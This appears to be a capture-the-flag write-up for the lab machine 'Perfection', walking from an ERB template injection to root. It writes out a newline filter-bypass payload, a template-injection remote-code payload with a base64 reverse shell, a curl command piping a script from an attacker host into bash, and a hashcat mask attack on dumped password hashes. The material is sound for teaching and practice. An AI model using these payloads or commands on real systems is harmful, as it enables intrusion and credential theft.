Machine Card listing Perfection as an easy Linux box

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since the scan only returns two ports and SSH is usually not vulnerable, I’ll focus on HTTP.

HTTP

After browsing to the page I’m greeted with “Weighted Grade Calculator” and three options in the navigation bar, Home, About Us, and Calculate your weighted grade. Picking the latter one shows a table where I can input different values.

A table with multiple input fields for category, grade and weight

All fields need to be filled, category with a value or N/A and the other fields with a number (or 0). Apparently there’s also a check if all the weights add up to 100.
Adding something like system('id') as category returns Malicious input blocked so there seems to be some kind of filtering in place - also this could mean that the input is likely passed to some insecure function.
The footer of the webpage says Powered by WEBrick 1.7.0 meaning the page likely uses ruby.

Execution

Shell as susan

A common way to bypass filtering is to inject a newline \n (%0A url-encoded). Using x%0Asystem('id') as payload for the category, removes the error missing regarding the malicious input, so I may have succesfully bypassed the filtering. It’s unlikely that my input is directly executed so I assume that the values provided in the table are used in some kind of template. In case the templating engine is ERB I might have success with a payload like <%= 7*7 %>.

A screenshot showing a successful template injection with the expected output of 49

Since my payload test%0A<%25%3d+7*7+%25> was succesfull I confirmed that the web application is vulnerable to Server Side Template Injection(SSTI). I’ll try remote code execution with system('ping -c 1 10.10.10.10') next and receive a ping (tcpdump -nni tun0 icmp).
The next logical step is to use a reverse shell payload to get access to target. I’ll use a common payload that I base64 and url-encode before embedding it in test%0A<%25%3d+system('echo+PAYLOAD|base64+-d|bash')+%25>

A screenshot showing the payload for the reverse shell

After sending the request I get a callback on my listener as susan and also access to the user.txt in /home/susan.

Privilege Escalation

Even though I do have access to the susan account, I’m still lacking its password to be able to run sudo. Running linpeas.sh to enumerate the system returns two interesting pieces of information.

curl -sS 'http://10.10.10.10./linpeas.sh' | bash | tee -a ~/log.txt
--- SNIP ---
╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan
--- SNIP ---
╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/etc/pam.d/common-password
/home/susan/Migration/pupilpath_credentials.db
--- SNIP ---
susan@perfection:~/ruby_app$ file /home/susan/Migration/pupilpath_credentials.db
/home/susan/Migration/pupilpath_credentials.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 6, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 6
 
susan@perfection:~/ruby_app$ sqlite3 /home/susan/Migration/pupilpath_credentials.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite> .schema users
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);

The hash for susan is 64 characters in length, hinting towards SHA256. Before trying to crack the password(s), I first check her mails in /var/mail/susan.

/var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
 
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
 
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
 
Note that all letters of the first name should be convered into lowercase.
 
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
 
- Tina, your delightful student

Apparently the password follows a specific format that I can apply to the susan user susan_nasus_XXXXXXXXX with X being a digit. In order to crack it I’ll use hashcat with a custom mask1.
The mode to use is 1400 for SHA256 and the attack mode is 3 for bruteforce. hashcat uses variables in the mask to replace them with certain values, e.g. ?d will be replaced with a value from 0123456789.

hashcat -m 1400 \
        -a 3 \
        'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' \
        'susan_nasus_?d?d?d?d?d?d?d?d?d'
--- SNIP ---
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
--- SNIP ---

After a while hashcat can crack the password and I can escalate my privileges straight to root because susan can run any command as root (su -).

sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User susan may run the following commands on perfection:
    (ALL : ALL) ALL

Attack Path

flowchart TD

subgraph "Execution"
    A(Webpage) -->|SSTI in ERB|B(Shell as susan)
end

subgraph "Collection"
    B --> C & E
    C(Personal Mail) --> D(Password Format)
    E(Local Database) -->|sqlite3|F(Hash)
end

subgraph CA["Credential Access"]
    D & F -->G(Bruteforce)
    G -->|Hashcat w/ mask|H(Valid Credentials)
end

subgraph "Privilege Escalation"
    H -->|sudo|I(root)
end

Footnotes

  1. Hashcat Mask